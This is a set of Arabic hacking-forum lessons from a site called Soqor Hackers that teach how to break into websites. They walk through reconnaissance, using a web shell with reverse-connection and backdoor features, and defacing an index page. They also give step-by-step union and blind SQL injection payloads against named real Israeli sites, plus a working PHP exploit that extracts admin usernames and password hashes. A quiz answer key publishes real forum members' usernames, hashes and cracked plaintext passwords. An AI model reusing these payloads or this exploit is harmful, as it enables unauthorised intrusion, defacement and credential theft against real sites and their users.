dq

7 : الدرس السابع: كيفية اختراق المواقع والمنتديات .. الجزء الأول

الدرس السابع: كيفية اختراق المواقع والمنتديات

الجزأ الأول

طبعا في هذا الدرس سنشرح مبدأيات واساسيات اختراق المواقع بعد ما تعلمنا بالسابق ثغرات ال file include وال sql injection وما شابه

وكوننا فكرة عن اختراق المواقع وتطبيق الثغرات ..

تبقى الفكرة ..

اريد اختراق موقع .. ماذا افعل ..

طبعا جواب هذا السؤال يعتمد على نوع الموقع وميكانيكيته ومحتوياته والسيرفر الذي هو عليه والداتا سنتر احيانا ..

يعني ماذا تفعل يجب ان تجمع اولا بيانات عن الموقع ..

كيف اجمع بيانات عن الموقع ..

أول شيء نقوم بفحص الموقع نفسه من الثغرات

مثلا نبحث عن file include ان كان لدينا ال source code للموقع ..

او نحاول مثلا بمتغيرات معينة التعديل عليها وما شابه

نبحث عن ثغرات ابلود .. اي ثغرات رفع ملفات

طبعا حتى الان نحن نعمل على الموقع نفسه ..

لكن اذا لم تتوفر ثغرة معينة بالموقع نفسه ..

نقوم بالبحث على السيرفر ..

كيف يتم ذلك .؟؟

أول شيء نقوم بتحديد نطاق السيرفر .. اي الاي بي للسيرفر

يمكن تحديده بعمل ping من الدوس

مثلا

كود:
C:\Users\Tha2r>ping www.soqor.net

Pinging soqor.net [69.162.109.92] with 32 bytes of data:

Reply from 69.162.109.92: bytes=32 time=735ms TTL=53
Reply from 69.162.109.92: bytes=32 time=745ms TTL=53
Reply from 69.162.109.92: bytes=32 time=734ms TTL=53
Reply from 69.162.109.92: bytes=32 time=759ms TTL=53

Ping statistics for 69.162.109.92:
****Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
****Minimum = 734ms, Maximum = 759ms, Average = 743ms

C:\Users\Tha2r>

وهنا يكون الاي بي 69.162.109.92

وطبعا بالنسبة لموقع صقور الاي بي خاص

اي انه لا توجد مواقع اخرى على هذا الاي بي ..

طبعا بالنسبة للمواقع الاخرى بالغالب سيكون هنالك مواقع على نفس الاي بي..

ومن ثم سنستخدم ال www.milw0rm.com

او اي موقع اخر للبحث عن ثغرات في المواقع التي في هذا السيرفر ..

الآن نفترض انه لم نقم بايجاد ثغرة على السيرفر ..

ماذا سنفعل ؟؟

سيتحتم علينا ايجاد بدائل ..

او مثلا عمل تخمين

ولكن اهم نقطة تكمن في الوصول للسيرفر

او ايجاد مدخل على السيرفر

مثل تطبيق ثغرة انكلود

او ثغرة مثل ثغرة الجوملا .. المهم ان نصل لشيل على السيرفر .. واعتقد تطبيق الثغرات شرح بالدروس السابقة

او حتى اكتشاف sql على موقع من مواقع السيرفر تمكننا من الوصول لتحكم موقع وثم البدأ بالولوج للسيرفر

طبعا هذا الدرس مقدمة لانه سيقسم لعدة اجزاء

سلام

6 : الدرس السادس : شرح كيفية استخدام الشيل + رفع الاندكس


بسم الله الرحمن الرحيم
كيفكم يا اعضاء صقور ان شاء الله بخير
اليوم بأذن الله راح اشرح لكم شل صقور وطريقة تغيير الأندكس
نبدى على بركة الله تابع معي الصوره
1 : الكرنل
2 : وضع الأمان
3 : اصدار الـ php
4 : البرامج الموجوده على السيرفر
5 : الدوال المعطله بسرفر
6 : مساحة السيرفر
7 : صلاحياتك على السيرفر
8 : مسارك الحالي على السيرفر
9 : هذا الخيار يعمل فقط على سيرفرات الوندوز لتنقل بين الـ C أو الـ D
10 : العوده للمكان الرئيسي المرفوع فيه الشل
11 : لتطبيق أوامر ال PHP
12 : لتنفيذ الأوامر على السيرفر
13 : باك دور للأتصال العكسي وفتح منفذ بالسيرفر
14 : الأتصال العكسي
15 : للأتصال بقواعد البيانات
16 : معلومات على الـ PHP
17 : الخروج من الشل
18 : الملفات الموجوده على السيرفر
19 : ~
DOWN = تحميل الملف
EDIT = تحرير الملف
DEL = حذف الملف
20 : سطر الأوامر
21 : أوامر جاهزه لطتبيق والبحث
22 : صناعة ملف
23 : صناعة مجلد
24 : رفع ملف على السيرفر
25 : الذهاب للمسار معين انت تحدده
26 : بعض الدوال للتخطي وضع الأمان وقرأت الملفات
27 : بعض الدوال لتخطي وضع الأمان وقرأت الملفات الموجوده بمجلد معين
28 : ادوات تساعدك في التخطي وضع الأمان والأتصال بقواعد البيانات MYSQL
29 : باك دور فتح منفذ بالسيرفر
30 : ~ للأتصال العكسي
30 : الأي بي الخاص بك
31 : البورت الذي تريد الأتصال عليه
——————————————
والأن شرح تغير الأندكس
طبعا الكل عارف ان الأندكس ممكن ايكون index.html او index.php او index.htm
مثلا هذا الأندكس نرووح على كلمة EDIT
الي شرحناها بدرس فوق
راح انشوف هادي الصوره
شايفين المربع ,, اتحط فيه الأندكس بتاعك وبتضغط على كلمة SAVE
وانروح انشوف الصفحه الرئيسيه للموقع
تم الأختراق بحمد الله ,,
وتقدر كمان بطريقة اخرى وبسيطه من سطر الأوامر
echo “Get Own3d By jerusalem hacker || SOQOR.NET” > index.html
قم بتغير هذه الجمله Get Own3d By jerusalem hacker || SOQOR.NET
بسورس كود الخاص بالأندكس بتاعك
سلام

5 / 8 : الدرس الخامس ( استخدام ادوات مساعده لتسهيل الاختراق )

بسم الله الرحمن الرحيم اخواني الاعزاء هذا الدرس الدسم نوعا ما وهو خاص بحقن قواعد البيانات SQL Injection

الدرس بكل بساطه عنوانه :

SQL inject + find admin cp + login into cp + uploading shell
+
find lost shell

يعني حقن الموقع واستخراج المعلومات اللازمه من اسم المستخدم وكلمه مرور مدير الموقع
+
ايجاد لوحه التحكم
+
الدخول للوحه
+
رفع الشل من لوحه التحكم
+
والاهم من هذا كله هو احدى طرق ايجاد الشل في حال تم رفعه وقام سكربت الرفع في الموقع

بتغيير اسم الشل كيف تستطيع ايجاده !!!!!!!!!!!!!!

وطبعا الدروس

حصريا على صقور الهكرز وليس له مثيل في المنتديات العربيه كلها

ممنوع النقل دون ذكر المصدر

انا شفت بعض الدروس منقوله في عده منتديات دون ذكر المصدر لا ويزيد الطين بله انه يدخل ويسرق الدرس

وبالاخر يكتب انه تعب كثير في الدرس ومحتاج الدعوات والردود ههههههه

مثال على نقل الدرس الاول في الدوره :

http://vb.silence-gate.com/showthread.php?t=20522

ولله في خلقه شؤون !!!!

المهم اخواني الدرس شرح بالفيديو سويته لكم انشالله يفيدكم

وصدقوني للي كرهوا الاختراق عن طريق SQL رح يرجع ويعشقها انشالله بعد هالدرس

وانا شخصيا افضلها عن باقي الثغرات وكل شلاتي على المواقع منها

انا طولت بالمقدمه اعذروني

الدرس للي يحب يشوفه على you tube قمت برفعه لاجلكم علشان الي ما رح يقدر يحمل

هذا الرابط وبجوده عاليه جدا

وهذا رابط اداه البيرل يجب تثبيتها كي يعمل السكربت المرفق بشكل جيد

http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.6.811-MSWin32-x86-122208.msi

وهذه الروابط لتحميل الدرس كامل مع الادوات المستخدمه في الشرح على سيرفر محبوب من الجميع

وهذه السيرفرات اخرى وشكرا للاخ رائد على التذكير بهذه السيرفرات واختر السيرفر المفضل لديك

 

 


 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

 


وهذا رابط اللروابط كلها

من هنا

ويا عمر الدرس فيه اغاني فك السماعات هههههههههههههههههههه

صقور الهكرز ||.!!.M4ST3R.!!.||

بالتوفيق اخواني

سلام

5 / 7 : الدرس الخامس الحقن الأعمى – Blind SQL Injection

السلام عليكم,الدرس الأخير من سلسلة دروس الحقن سنخصصه لثغرة الحقن الأعمى Blind SQL Injection هذا الدرس صعب نوعا ما وحاولت تبسيطة لأكبر قدر ممكن, ولكنه سهل إذا ركزتم وقرأتم الدرس بهدوء وطبقتم جيدا.

هذا النوع من الثغرات منتشر بكثرة إلا أن استغلاله يتطلب جهدا وصبرا أكثر من ثغرة الحقن الاعتيادية..

كعادتنا في الدروس السابقة سيكون فأر التجارب موقعا اسرائيليا (لعنة الله على الصهاينة إلى يوم الدين).

http://www.menikot.com

والثغرة موجودة بالمكون التالي :

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20

<span style=\”color:#0000FF\”>طريقة اكتشاف الثغرة :

أولا نضيف and+1=1 ثم نرى النتائج :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+1=1
This image has been resized. Click this bar to view the full image. The original image is sized 1280×1024.

كما في الصورة الصفحة تظهر عادية, جميل جدا.

ثانيا نضيف شيء غير منطقي في الاستعلام مثلا and+1=2 ثم نرى النتيجة :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+1=2
This image has been resized. Click this bar to view the full image. The original image is sized 1280×1024.

كما في الصورة لم تظهر لنا الصفحة السابقة كاملة, إذن الموقع مصاب بثغرة الحقن الأعمى.

أحيانا لا تظهر صورة واحدة أو عدة صور أو أحد المقالات أو أحد العناوين… وهذا يدل على أن الموقع مصاب بثغرة الحقن الأعمى.

لمعرفة نسخة قاعدة البيانات :

نضيف أولا and+substring(@@version,1,1)=4

أي نطبق الاستعلام التالي :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+substring(@@version,1,1)=4
This image has been resized. Click this bar to view the full image. The original image is sized 1280×1024.

ظهرت لنا الصفحة الخاطئة.

الآن نضيف and+substring(@@version,1,1)=5

نطبق الاستعلام التالي :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+substring(@@version,1,1)=5
This image has been resized. Click this bar to view the full image. The original image is sized 1280×1024.

ظهرت لنا الصفحة الصحيحة, إذن يتعلق الأمر بالنسخة الخامسة لقاعدة البيانات.

لكي لا نكرر الصور في بقية الدرس سنسمي الصورة الأولى الصفحة الصحيحة والثانية الصفحة الخاطئة.

الآن نرى هل تعمل subselect :

نضيف and+(select+1)=1

إذن نطبق الاستعلام التالي :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+(select+1)=1

ظهرت لنا الصفحة الصحيحة إذن subselect تعمل ومن هنا سنرى هل يمكننا القراءة من mysql.user

نطبق الاستعلام التالي :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+(select+1+from+mysql.user+limit+0,1)=1

لم تظهر لنا الصفحة الصحيحة ولا الخاطئة الاعتيادية, إذن ليس لدينا الصلاحية لقراءة mysql.user ولو كانت لدينا هذه الصلاحية لتمكنا من معرفة الباسوورد واليوزر الذي يستعمل في قاعدة البيانات وذلك باستعمالنا لخاصية load_file() وخاصية OUTFILE

لا بأس سنكمل تطبيقنا رغم أن الطريق لا يزال طويلا لإيجاد اليوزر والهاش..

معرفة الجداول والأعمدة :

لمعرفة الجداول والأعمدة نستعمل التخمين كالتالي :

لنفترض أن اسم الجدول الذي يضم اليوزر هو user, نضيف التالي and+(select+1+from+user+limit+0,1)=1

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+(select+1+from+user+limit 0,1)=1

إذا ظهرت الصفحة الصحيحة يعني أن الجدول user موجود وإذا ظهرت غير ذلك يعني أنه غير موجود ويجب في هذه الحالة وضع تخمين آخر.

بالنسبة للأعمدة نطبق نفس الشيء تقريبا بعد معرفة اسم الجدول (لنفترض أن اسم الجدول الصحيح هو admins) :

نضيف التالي :

and+(select+substring(concat(1,password),1,1)+from admins limit+0,1)=1

إذا ظهرت الصفحة الصحيحة يعني أن العمود password موجود بالجدول admins

الآن هناك طريقة سهلة غير التخمين لمعرفة الجداول والأعمدة :

إذا كان نظام إدارة المحتوى CMS الذي يستعمله الموقع معروف لا حاجة للتخمين لأن أسماء الجداول تكون معروفة ومتداولة.

إذا رأينا سورس كود الصفحة الرئيسية للموقع نجد التالي :

 

كود:
**<meta name=\"generator\" content=\"Joomla! 1.5 - Open Source Content Management\" />

يعني أن نظام إدارة المحتوى هو النظام الشهير Joomla وبالتالي نعرف مسبقا اسم الجداول والأعمدة, سنقوم إذن بالاستعلام من jos_users وسنستعمل أسماء الأعمدة username و password

سأقوم لاحقا إن شاء الله بطرح موضوع جديد لأسماء الجداول والأعمدة لأشهر ال CMS

استخراج اليوزر :

الاستخراج يتم حرفا بحرف وكل حرف يتطلب تجريب العديد من الاستعلامات..

سنقارن تصاعديا كل حرف بالكود أسكي المقابل له. بالنسبة للأعضاء الذين لا يعرفون الكود أسكي يمكنهم الاطلاع على الرابط التالي :

http://ar.wikipedia.org/wiki/%D8%A2%D8%B3%D9%83%D9%8A

استعلام المقارنة يكون على الشكل التالي :

and+ascii(substring((SELECT+username+from+jos_user s+limit 0,1),1,1))>XX

حيث XX هو الكود أسكي للحرف المقارن به.

نطبق الاستعلام الأول :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),1,1))>40

الصفحة صحيحة يعني أن الحرف الأول من اليوزر الكود أسكي الخاص به أكبر من 40

نواصل..

نطبق الاستعلام الثاني :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),1,1))>41

الصفحة صحيحة يعني أن الحرف الأول من اليوزر الكود أسكي الخاص به أكبر من 41

نواصل..

نطبق الاستعلام الثالث :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),1,1))>42

الصفحة خاطئة يعني أن الكود أسكي الخاص بالحرف ليس أكبر من 42 (وأكبر من 41 كما جربنا سابقا) وبالتالي فالكود أسكي الخاص بالحرف الأول من اليوزر هو 42 أي أن الحرف الأول من اليوزر هو *

وأخيرا وجدنا الحرف الأول

بالنسبة للحرف الثاني نطبق نفس الشيء إلا أن الاستعلام يتغير فيه الرقم ويكون كالتالي :

and+ascii(substring((SELECT+username+from+jos_user s+limit 0,1),2,1))>XX

الاستعلام يكوم صحيحا عند أكبر من 117 :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+username+from+jos_users+limit 0,1),2,1))>117

ويكون خاطئا عند أكبر من 118

أي أن الكود أسكي الخاص بالحرف الثاني من اليوزر هو 118 وبالتالي الحرف الثاني من اليوزر هو v

وهكذا دواليك نواصل حرفا بحرف إلى أن نحصل على اليوزر كاملا.

بعد عناء طويل ستجدون أن اليوزر هو *vererd*

استخراج الهاش :

بالنسبة ل Joomla CMS الهاش إما MD5 عادي وإما MD5 Salted (يمكنكم الاطلاع على موضوع بقسم فك التشفير والهاش لمعرفة ذلك).

في حالة كون الهاش not salted الهاش يتكون من أرقام وأحرف وبالتالي سيكون مجال الأسكي الذي سنقارن فيه 48-57 ثم 97-102 أما في الحالة الأخرى فيجب استعمال مجال أوسع لأن السالت قد يحتوي على أحرف خاصة.

نطبق الاستعلام الأول :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+password+from+jos_users+limit 0,1),1,1))>48

الصفحة صحيحة يعني أن الحرف الأول من الهاش الكود أسكي الخاص به أكبر من 48

نواصل..

نطبق الاستعلام الثاني :

 

كود:
http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&sectionid=20+and+ascii(substring((SELECT+password+from+jos_users+limit 0,1),1,1))>49

الصفحة صحيحة يعني أن الحرف الأول من الهاش الكود أسكي الخاص به أكبر من 49

نواصل حتى نصل إلى 54 فلا نحصل على صفحة الخطأ ولما نطبق على 55 نحصل عليها يعني أن الحرف الأول من الهاش هو ascii(55) وبالتالي هو 7

بنفس طريقة استخراج اليوزر نواصل حتى نستخرج الهاش كاملا وهو : 71eb8f07ba741f366d3502dccd43e696

الطريقة الأوتوماتيكية :

طبعا لاحظتم أن تطبيق هذه الثغرة يدويا أمر متعب جدا, ولكن يجب أن تعرفوا أصل وطريقة استغلال الثغرة حتى لا تصنفوا من أطفال الهكر الذين يستعملون أدوات الاختراق دون معرفة ماذا تفعل الأداة.

هناك أدوات عديدة مساعدة تقوم بالعمل تلقائيا مثل sqlmap التي يمكنكم تحميلها هنا :

http://sqlmap.sourceforge.net/#download

هناك طريقة أخرى فعالة وهي كتابة سكريبت بسيط ب perl أو PHP أو أي لغة برمجة تتقنونها.

سأعطيكم سكريبت مكتوب ب PHP أستعمله لاستغلال ثغرة الحقن الأعمى وأعدله حسب الحاجة. السكريبت يعمل من PHP from Command line

 

كود:
<?
ini_set(\"max_execution_time\",0);
print_r('
----------------------------------------------------------------------------
- Blind SQL Injection Exploit**********************************************-
- Usage example: php exploit-blind.php \"http://www.site.com/blah.php?id=1\" -
----------------------------------------------------------------------------
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url.\"+and+1=1--\"));
$w = strlen(file_get_contents($url.\"+and+1=0--\"));
$t = abs((100-($w/$r*100)));
echo \"\n Username : \";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$i.\",1))!=0--\"));
** if (abs((100-($laenge/$r*100))) > $t-1) {
******$count = $i;
******$i = 30;
** }
}
for ($j = 1; $j < $count; $j++) {
** for ($i = 40; $i <= 122; $i=$i+2) {
**** if ($i == 60) {
******** $i = 98;
******}
******$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$j.\",1))%3E\".$i.\"--\"));
****if (abs((100-($laenge/$r*100))) > $t-1) {
******** $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+username+from+jos_users+limit+0,1),\".$j.\",1))%3E\".($i-1).\"--\"));
****if (abs((100-($laenge/$r*100))) > $t-1) {
************echo chr($i-1);
******** } else {
************echo chr($i);
******** }
******** $i = 122;
******}
** }
}
echo \"\n Password : \";
for ($j = 1; $j <= 49; $j++) {
** for ($i = 46; $i <= 102; $i=$i+2) {
****if ($i == 60) {
******** $i = 98;
******}
******$laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+password+from+jos_users+limit+0,1),\".$j.\",1))%3E\".$i.\"--\"));
****if (abs((100-($laenge/$r*100))) > $t-1) {
******** $laenge = strlen(file_get_contents($url.\"+and+ascii(substring((select+password+from+jos_users+limit+0,1),\".$j.\",1))%3E\".($i-1).\"--\"));
****if (abs((100-($laenge/$r*100))) > $t-1) {
************echo chr($i-1);
******** } else {
************echo chr($i);
******** }
******** $i = 102;
******}
** }
}
}
?>

كما أشرت سابقا يمكن التعديل على السكريبت لتغيير اسم الجدول أو لتغيير مجال الأسكي لكي يصبح أسرع أو لكي يعطي السالت الذي يحتوي على الأحرف الخاصة.

تشغيل هذا الاكسبلويت بطيء نسبيا ويتغير حسب سرعة الاتصال وسرعة سيرفر الموقع, يتراوح استخراج اليوزر والهاش من دقيقتين إلى ساعة كاملة.

السكريبت في المرفقات ولتطبيقه على هذا الموقع الذي جربنا عليه يجب تنفيذ الأمر التالي من الكونسول في نظام لينكس أو من الدوس في نظام ويندوز بعد تنصيب البي إتش بي.

 

كود:
php exploit-blind.php \"http://www.menikot.com/index.php?option=com_ijoomla_archive&task=archive&search_archive=20\"

أنتهى الدرس أرجوا أن تكونوا قد استفدتم منه ونتمنى أن نرى تطبيقاتكم على مواقع أخرى.

جميع الحقوق محفوظة للكاتب Alkindiii ولمنتديات صقور الهكرز www.soqor.net

** سبحانك لا علم لنا إلا ما علمتنا إنك أنت العليم الحكيم **

تحياتي.

الملفات المرفقة

نوع الملف: php exploit_blind.php‏ (2.0 كيلوبايت, المشاهدات 46)

5 / 6 : الدرس الخامس : حقن قواعد البيانات sql injection .. ملحق .. تطبيق عملي

بسم الله الرحمن الرحيم

في هذا الدرس سنبدأ بشرح عندما تجد ثغرة SQL injection ما تقوم به بالتفصيل .. وهو مشروح في الدروس السابقة ولكن هذا الدرس تكملة وتطبيق عملي عليهم

اولا مثلا دخلنا موقع حزب كاديما الاسرائيلي

وجدنا روابط

مثلا
http://www.kadima.org.il/Includes/inc_forum.php?kat=4

قمنا باضافة ‘ بعد الرابط

يصبح
http://www.kadima.org.il/Includes/inc_forum.php?kat=4′

ظهر خطأ

إذا يوجد خطأ SQL وسنحاول استغلاله

ولكن اولا سنحاول معرفة عدد الحقول

http://www.kadima.org.il/Includes/inc_foru…-1+order+by+1/*

نبدأ
http://www.kadima.org.il/Includes/inc_foru…=4+order+by+1/*

ظهرت النتائج

نكمل

حتى نصل

http://www.kadima.org.il/Includes/inc_foru…4+order+by+12/*

لم يظهر شيء

اذا عدد الحقول 11

نجرب

http://www.kadima.org.il/Includes/inc_foru…6,7,8,9,10,11/*

طبعا استبدلنا kat=4 الى kat=-4 لأنه اذا بقى على رقم حقل موجود لن يظهر لنا نتيجة

المهم الان

ظهر لنا نتيجة الاستعلام

الان مثلا نستبدل رقم 10

ب version لنرى النتيجة

http://www.kadima.org.il/Includes/inc_foru…,@@version,11/*

النسخة
5.0.45-log

اذا سيمكننا استخدام جدول information_schema

نضع الان الاستعلام بالشكل التالي

لنجرب امكانية الاستعلام

http://www.kadima.org.il/Includes/inc_foru…chema.columns/*

تم ولا يوجد اي مشكلة

الان سنضع بدال

كود:
@@version
كود:
concat(table_name,char(58),column_name)

وهذا يظهر النتائج كالتالي
table:column

أي سيظهر الجدول : الحقل

يصبح الرابط

http://www.kadima.org.il/Includes/inc_foru…chema.columns/*

الان انظر النتيجة على الصفحة

قد ظهر عنا جميع الحقول والجداول بدون ادنى عناء

الآن نبحث عن جدول نشتبه به انه جدول الادارة وننظر حقوله

وجدنا كثير من الجداول المشابهة

والآن يمكننا الاستعلام من جميع الجداول التي يمكن لهذا المستخدم الوصول لها

طبعا جدول الادارة هنا

tbaccess

والحقول

user

pass

والاستغلال

http://www.kadima.org.il/Includes/inc_foru…from+tbaccess/*

طبعا هنا كلمة المرور غير مشفرة ويبقى عليك ايجاد مسار اللوحة

كانت معي ولكنها تغيرت بعد اخر اختراق

المهم ان تكونو ان شاء الله وصلت لكم المعلومة

ويبقى بعد ذلك ايجاد اللوحة

وكسر الباسوورد ان كان مشفرا !!

واختراقات موفقة

سلام

5 / 5 : الدرس الخامس : حل اختبار حقن قواعد البيانات sql injection


السلام عليكم,

أولا نبارك للعضوين الوحيدين اللذان قاما بحل الأسئلة الخمسة وهما الأخت صفا سوفت والأخ NET-MASTER.

حلول الاختبار مرفقة بصور النتائج هي كالتالي :

س1 : ما هو عدد الأعمدة المصابة وأعط رقم كل عمود

ج 1 : بعد اكتشاف الخطأ ومعرفة عدد الأعمدة بواسطة الأمر order by نستنتج بعد الاستعلام التالي أن عدد الأعمدة المصابة واحد ورقمه 8 ويظهر هذا الرقم بأسفل الصفحة في الرابط التالي.

http://www.kedma.co.il/index.php?id=1916+U…3,14,15,16,17/*

النتيجة في الصورة :

س 2 : ما هو إصدار قاعدة البيانات

ج 2 : الإصدار هو 5.0.45 ونعرفه بعدما نطبق الاستعلام التالي :

http://www.kedma.co.il/index.php?id=1916+U…3,14,15,16,17/*

النتيجة كما ترونها في الصورة :

س 3 : أعط أسماء كل الجداول (tables) الموجودة بقاعدة البيانات

ج 3 : نطبق الاستعلام التالي :

http://www.kedma.co.il/index.php?id=1916+U…schema.tables/*

ونحصل على أسماء الجداول التالية :

CHARACTER_SETS:COLLATIONS:COLLATION_CHARACTER_SET_ APPLICABILITY:COLUMNS:COLUMN_P
RIVILEGES:KEY_COLUMN_USAGE:PROFILING:ROUTINES:SCHE MATA:SCHEMA_PRIVILEGES:STATIST
I
CS:TABLES:TABLE_CONSTRAINTS:TABLE_PRIVILEGES:TRIGG ERS:USER_PRIVILEGES:VIEWS:all_
p
ages:archive:blocked_ip:cat_config:comments:groups :ke_bans:ke_categories:ke_cens
o
ring:ke_config:ke_forum_perms:ke_forums:ke_groups: ke_online:ke_posts:ke_ranks:ke
_
reports:ke_search_cache:ke_search_matches:ke_searc h_words:ke_subscriptions:ke_to
p
ics:languages:links:n_tblld_archiveagesanels hpbb_auth_accesshpbb_banli
s
thpbb_categorieshpbb_confighpbb_confirmhpb b_disallowhpbb_forum_prune
h
pbb_forumshpbb_groupshpbb_postshpbb_posts_te xthpbb_privmsgshpbb_privms
g
s_texthpbb_rankshpbb_search_resultshpbb_sear ch_wordlisthpbb_search_wordm
a
tchhpbb_sessionshpbb_smilieshpbb_themeshpb b_themes_namehpbb_topicshp
b
b_topics_watchhpbb_user_grouphpbb_usershpbb_ vote_deschpbb_vote_results
h
pbb_vote_votershpbb_wordsictures:tree:users:us ers_back:users_groups

النتيجة في الصورة :

س 4 : يحتوي الموقع على منتدى يضم أكثر من 21000 عضو, المطلوب إيجاد إسم المستخدم وباسوورد العضوين رقم id = 2 و id = 21000

ج 4 : بالنسبة للعضو رقم 2 اسم المستخدم هو kaxz والباسوورد مشفر هو c826cc40ccc7b29569e7158aef690ec4

http://www.kedma.co.il/index.php?id=1916+U…ere+user_id=2–

بالنسبة للعضو رقم 21000 اسم المستخدم هو GlundSal والباسوورد مشفر هو 83b4ef5ae4bb360c96628aecda974200

http://www.kedma.co.il/index.php?id=1916+U…user_id=21000–

س 5 : قم بفك هاش باسوورد العضوين وأعط باسوورد العضوين غير مشفر (plain text)

ج 5 : من خلال نوع المنتدى وإصداره phpBB نستنتج أن الهاش هو md5 عادي (أدخل لقسم فك التشفير والهاش ستجد موضوع عن التشفير الخاص بكل منتدى).

بعد ذلك باستعمال أحد برامج فك الهاش أو الدخول إلى أحد مواقع فك الهاش md5 نجد أن :

c826cc40ccc7b29569e7158aef690ec4 = md5(kaxz)

83b4ef5ae4bb360c96628aecda974200 = md5(147852)

وبالتالي باسوورد العضو kaxz هو kaxz وباسوورد العضو GlundSal هو 147852.

أتمنى أن يكون هذا التمرين مفيدا للكل ونتمنى مزيدا من التفاعل مع الدروس والتطبيقات القادمة.

بالتوفيق للجميع.

تحياتي.

5 / 4 : تطبيق لدروس حقن قواعد البيانات sql injection

السلام عليكم,كما قال الأخ Dr.Cr@ck أحسن وسيلة لفهم دروس حقن البيانات هي التطبيق, سنطرح في هذا الموضوع تمرينا تطبيقيا على موقع إسرائيلي مصاب بهذه الثغرة.للإشارة الموقع لم يخترق من قبل نرجوا عدم محاولة اختراقه قبل إعطاء الأجوبة الصحيحة حتى يتمكن الأعضاء من التطبيق :P

الموقع الذي سنطبق عليه هو http://www.kedma.co.il والملف المصاب هو ملف الصفحة الرئيسية index.php

قبل طرح الأسئلة نشير إلى أن بعضها يتطلب بحثا إضافيا (إضافة إلى ما ورد في الدرسين السابقين).

كل عضو سيحاول الإجابة على الأسئلة التالية :

1- ما هو عدد الأعمدة المصابة وأعط رقم كل عمود

2- ما هو إصدار قاعدة البيانات

3- أعط أسماء كل الجداول (tables) الموجودة بقاعدة البيانات

4- يحتوي الموقع على منتدى يضم أكثر من 21000 عضو, المطلوب إيجاد إسم المستخدم وباسوورد العضوين رقم id = 2 و id = 21000

5- قم بفك هاش باسوورد العضوين وأعط باسوورد العضوين غير مشفر (plain text)

سنقوم إن شاء الله بطرح حل الأسئلة بعد خمسة أيام وكذلك قائمة الأعضاء الذين تمكنوا من حلها, وكل عضو تمكن من حل الأسئلة أو بعضها يمكنه مراسلتي على الخاص أو مراسلة Dr.Cr@ck بالأجوبة الصحيحة. نشير إلى أن الأسئلة على الخاص غير مقبولة وكل عضو لديه سؤال يمكنه طرحه في القسم الفرعي المخصص لاستفسارات الدورة حتى يستفيد الجميع.

كما قلت هذا الاختبار يتطلب بعض البحث وليس الاكتفاء بالدروس المعطاة.

لم ينجح أحد حتى الآن في الإجابة على أي سؤال, لذلك سأحاول التبسيط أكثر وسأعطيكم الرقم الصحيح للمتغير وهو id = 1916 وبذلك رابط الثغرة الذي ستطبقون عليه هو :

http://www.kedma.co.il/index.php?id=1916

في الحقيقة هذه حالة خاصة والثغرة غير موجودة في كل قيم المتغير (id) وذلك راجع ربما إلى استعمال بعض الشروط على المتغير id مثل if … elseif وفي بعض الشروط رقعت الثغرة وتركت في أخرى.

في العادة إذا كانت هناك ثغرة تكون موجودة على كل قيم المتغير ويكون الكود غير مفلتر شبيها بهذا المثال :

 

كود:
$result=mysql_query('SELECT * FROM news WHERE id="'.$_GET['id'].'"');

على أي حال ما دام لا يمكنك رؤية سكربت الصفحة ليست هناك قاعدة عامة في مثل هذه الحالات, وأحسن شيء لاكتشاف ثغرات غير تقليدية هي محاولة تخيل الكود الأصلي للصفحة وكيف فكر وأخطأ مبرمج الصفحة.

الآن أصبح الاختبار أسهل ويمكنكم بالتطبيق الحرفي للدرسين السابقين الإجابة على سؤالين أو ثلاثة أسئلة على الأقل.

أنتظر إرسال الإجابات على الخاص, إذا لم ينجح أحد سأحاول التبسيط أكثر.

تحياتي.